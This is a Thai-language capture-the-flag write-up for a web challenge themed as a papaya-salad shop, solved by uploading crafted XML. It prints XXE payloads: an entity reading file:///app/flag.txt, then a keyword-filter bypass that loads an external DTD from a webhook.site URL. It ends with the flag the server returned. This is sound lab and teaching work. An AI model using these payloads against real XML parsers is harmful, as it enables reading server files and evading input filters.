
โจทย์นี้จะมีหน้าเว็บเหมือนเป็นร้านส้มตำป้าน้อย (หิวเลย 555)

โดยด้านล่างจะมีให้โหลดอะไรสักอย่าง ก็เลยกดโหลดมา จะได้เป็นไฟล์ template.somtam ซึ่งหากเปิดดูไฟล์แล้วจะได้
<?xml version="1.0" encoding="UTF-8"?><recipe> <chef>somchai</chef> <dish>somtam_thai</dish> <spicy_level>3</spicy_level> <ingredients>papaya peanut tomato chili</ingredients> <secret>pla_ra_from_isan</secret></recipe>อ่าห้า โจทย์นี้เป็นโจทย์โจมตีแบบ XXE (XML External Entity Injection) โดยจะทำการใส่ <!ENTITY xxe SYSTEM "file:///flag.txt"> ไปเพื่อลองว่าได้ไหม
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///app/flag.txt">]><recipe> <chef>&xxe;</chef> <dish>somtam_thai</dish> <spicy_level>3</spicy_level> <ingredients>papaya peanut tomato chili</ingredients> <secret>pla_ra_from_isan</secret></recipe>แต่พอลอง Upload ไปแต่…
{ "error": "invalid ingredient detected"}หืมม มีการ Block keyword หรอเนี่ย! เริ่มตึงแล้วสินะ = =!
ทีนี้จะทำยังไงเพราะลองหลายท่ามาก ไม่สามารถ Bypass ได้เลย เสียเวลาไป 1 วันเต็ม ๆ เลยล่ะ ;w;
ทีนี้ก็ไปเจออันหนึ่งมาว่า

เราสามารถที่จะ Bypass ได้โดยการใช้หลักการ SSRF Attack โดยเป็นการที่ระบบตัว XML จะทำการดึง .dbd มาเพื่อประมวลผล แต่เราสามารถใช้ในด้านนี้ในการ Bypass block keyword ได้
โดยจะทำการสร้าง XML Script สำหรับ Bypass block keyword โดยจะใช้เป็น webhook.site

จากนั้นทำการปรับ Script XML
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE recipe SYSTEM "https://webhook.site/aaa-bbb-ccc-ddd-eeeeeeeee"><recipe> <chef>somchai</chef> <dish>somtam_thai</dish> <spicy_level>3</spicy_level> <ingredients>&xxe;</ingredients> <secret>pla_ra_from_isan</secret></recipe>ทีนี้ลองทำการ Upload ใหม่อีกครั้ง
{ "chef": "somchai", "recipe": { "dish": "somtam_thai", "ingredients": "WANLAI{0ac4ad6cb17f5d40f9626dad45b2272a}\n", "secret": "pla_ra_from_isan", "spicy_level": "3" }, "status": "success"}ได้แล้ว เย้!
WANLAI{0ac4ad6cb17f5d40f9626dad45b2272a}